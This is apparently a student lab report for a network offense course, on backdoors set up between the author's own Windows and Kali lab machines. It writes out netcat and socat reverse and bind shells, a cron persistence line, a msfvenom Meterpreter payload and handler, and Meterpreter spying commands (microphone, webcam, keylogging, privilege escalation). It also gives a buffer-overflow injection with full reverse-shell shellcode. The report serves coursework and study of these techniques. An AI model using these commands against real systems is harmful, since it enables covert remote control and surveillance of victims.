2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp2 后门原理与实践
2020-2021-2 20175221曾祥杰 《网络对抗技术》Exp2 后门原理与实践
基础问题回答
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 未到正规官网下载软件,就有可能被捆绑下载垃圾软件,其中或许会渗入木马、病毒等,从而对个人PC产生威胁。
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
- win:修改注册表内容、设置开机自启动等。
- Linux:修改crontab文件,将木马设为定时启动,反向连接控制主机,控制主机保持侦听状态,启动后门,从而控制个人PC。
-
(3)Meterpreter有哪些给你映像深刻的功能?
-
Meterpreter我觉得最厉害的就是能获取被控主机的麦克风录音(监听?)、获取被控主机的摄像头拍照和录像(监视?)、还有收集指令(获取账号密码?)。
-
- (4)如何发现自己有系统有没有被安装后门?
- 最简单的自然就是利用安全软件定期检查,360、金山等。手动检查就可以检查本地IP是否被其他IP相连,查看任务列表有没有可疑自启动项、抓包分析,还可以看看自己的端口是不是莫名的多,等
实践过程记录
-
一、使用netcat获取主机操作Shell,cron启动
-
准备工作:
- 下载附件:ncat.rar
- 关闭Win和Linux的防火墙,确保两者能相互联通,并免除实验后边不必要的烦恼
-
实践步骤:
-
1.Win获得Linux的Shell
- Win下ipconfig,Kali下ifconfig -a,查看各自的ip地址,随后相互ping,观察是否联通。(这是一个大坑!后文会讲述。之前没有做这一步确认,导致nc始终无法成功)
- 随后解压ncat.rar,进入文件夹,ncat.exe -l -p 5221监听本机的5221端口。
- Kali中 nc 192.168.43.240 5221 -e /bin/sh反向连接本机5221端口,随后成功获得Kali的Shell
-
2.Linux获得Win的Shell
- Kali中nc -l -p 5221监听5221端口
- Win中ncat.exe -e cmd.exe 192.168.153.131 5221反向连接Kali主机中的5221端口
- 最终实现在Linux上获得Win的Shell
-
3.nc传输数据
- Win下 ncat.exe -l 5221 监听5221端口
- Kali下 nc 192.168.43.240 5221 连接到Win
- 随后便可以相互传输数据了
-
4.cron启动
- Win下 ncat -l -p 5221 监听5221端口
- Kali中 crontab -e 后选择第3个(第二次使用这个命令好像就不用选了)
- 在最后一行添加 39 * * * * /bin/netcat 192.168.43.240 5221 -e /bin/sh ,意思是在每个小时的第39分钟反向连接Windows主机的5221端口,设置成39是为了能立马看到效果(注意这里的IP地址应该为Win主机的IP)
- 时间到了之后,获得了Kali的shell,可以看到第一行显示了之前我输入,但因为时间没到没有显示的
lslsls。随后可以像之前一样进行Shell操作
-
坑点:
-
1.忽视了配置网络时所选择的动态分配(DHCP)
- 由于是在家完成实验,时不时电脑就会连上家里的Wifi,此时Win和Kali的ip都会变!这也会导致在使用nact等命令输入IP时,时不时成功,时不时失败。经过多次的排除变量法,最后才发现是没有解决IP变化的问题
- 对此我想到两个解决方案:
- 1.修改网络配置为静态IP,让其不再变化。但是我这样做之后,直接导致的就是Wifi不能上网。所以只能采用第2种
- 2.一直使用手机热点分配的IP,因为使用Wifi做实验时,会发生虚拟机Ping不通主机的情况!我也试了网上许多关闭防火墙,入站设置等方法都没有用,最后还是决定换网。
- (这是用家里Wifi的情况)
- 2.nc和ncat傻傻分不清
- 一开始在Kali,命令中的nc全都输成了ncat,还一直在想是不是网络还没ping通。后来百度了才知道Kali只有nc命令,在Win上用下载的附件ncat.exe执行
-
二、使用socat获取主机操作Shell, 任务计划启动
- socat是
ncat
的增强版,格式是 socat [options] <address> <address> ,address(必选),options(可选)。 - socat的基本功能就是建立两个双向的字节流,让数据在其间传输,参数address代表了其中的一个方向。
- 流代表了数据的流向,数据有不同的类型,命令中便需要许多选项对各种不同的类型数据流进行限定与说明。
- 首先 Win+x 选择计算机管理。
- 给任务创建一个名称
- 任务计划程序→创建任务→触发器→按预定计划
- “操作”中选择socat的路径,并配置参数 tcp-listen:5221 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe绑定到端口5221,同时把cmd.exe的stderr重定向到stdout上
- 到达计划时间时,会弹出一个cmd,不要关闭它。
- 在Kali中输入 socat - tcp:192.168.43.240:5221 这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5221端口,此时可以发现已经成功获得了一个cmd shell
-
坑点:
- 1.遇到目标不积极?
- 这是因为SSH没有启动,具体需参考Kali如何开启SSH
三. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=5221 -f exe > 20175221_backdoor.exe (这里的IP地址为Linux IP)此时生成了后门程序“20175221_backdoor.exe”
- 在Windows下执行 ncat.exe -lv 5221 > 20175221_backdoor.exe ,这样被控主机就进入了接收文件模式
- 在Linux中执行 nc 192.168.43.240 5221 < 20175221_backdoor.exe (这里的IP为Windows IP),成功接收文件。
- 在Kali中 msfconsole 进入msf控制台
-
use exploit/multi/handler #使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload set LHOST 192.168.189.128 #Linux IP set LPORT 5221 #同样要使用相同的端口
- 随后在Win运行刚刚接收的程序,便开始监听
-
坑点:
- 1.一开始每次运行制作的程序,都会自动关闭端口
- 我找了一会,没有找到答案。对于这种问题,最好的办法莫过于,重来。果然,在我重新打开一个终端,按照刚才的步骤走,就成功了。
- 2.没有足够的权限运行制作的程序?
- 这个百度可以找到答案。当然答案不是那些水文里说的,从文件属性-安全里改啥权限,那些我都试过并没有什么用。因为根本改不了
- 所以需要参考windows无法访问指定设备 路径或文件(100%解决),下载他的软件,因为是exe无法运行,所以在那个软件里点击exe,重启电脑就可以了
- (当然,这也让我很慌。因为它的原理我一点都不知道,还安了莫名其妙的软件,没准我还在做这些监听的基础实验,我下载软件运行后,其他人就开始监控我电脑了。。)
四.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用 record_mic 指令截获一段音频
- 使用 webcam_snap 使用摄像头进行拍照:
- 使用 keyscan_start 指令开始记录下击键的过程,使用 keyscan_dump 指令读取击键的记录:
- 使用 screenshot 进行截屏:
- 使用 getuid 查看当前用户, getsystem 进行提权
- 从输出的信息可以看到,自动选择了方法1。此时该用户就拥有了目标系统中Test用户的权限了,然后就可以做其他的操作,如创建文件、创建用户和组等。
五.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
这里参考了本班同学的博客,结合自己的想法完成
- 首先要到官网上下载Linux/x86 - Reverse(127.0.0.1:4444/TCP) Shell (/bin/sh) Shellcode (96Bytes)这个文件:
- 将里边的机器码复制出来
- \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
- Kali打开第一个终端,按照实验1的第三部分,做准备工作。运行pwn1
-
execstack -s pwn1 #设置堆栈可执行 execstack -q pwn1 #查询文件的堆栈是否可执行(X pwn1则表示可执行) echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化 more /proc/sys/kernel/randomize_va_space #查看随机化是否关闭,如显示0则已关闭,2未关
- 在第二个终端,寻找进程号,随后gdb调试,反汇编,找到esp地址。
- 此处我的地址为0xffffd37c,+4=0xffffd380。并将其填充在原有机器码前,得到:
-
perl -e 'print "A" x 32;print"\x80\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input
- 并将其做成Input
- 打开第三个终端,按照本实验的msf部分进行相应设置。
- 随后进入监听,再把第二终端的程序运行(注意一定是先监听,再运行)
-
实验总结与体会
- 这次实验我觉得难度和时间花费与实验1没有太大差别。但实实在在是被自家的网络坑了,时不时就连上wifi,Win和Linux的ip就会变化,互相的nc和socat操作就马上失效,一开始还觉得也太背了,第一步就出问题。花了好久排除变量才找到这个原因,后来也学聪明了,连不上先看ip是不是变了。
- 其次是以前也知道黑客就是可以进入他人PC获取私人信息的,但一直不太懂原理。这一次以小见大,msf生成的payload也让我感受到了获取别人信息的轻松(前提是关闭各种防火墙。。点开不明文件。。)拍照监控,录音窃听,读取键令get密码,截屏窥屏等,都是蛮实用的操作。当然最厉害的应该还是提权,但是我还没有特别大的感受
- 总体感觉还好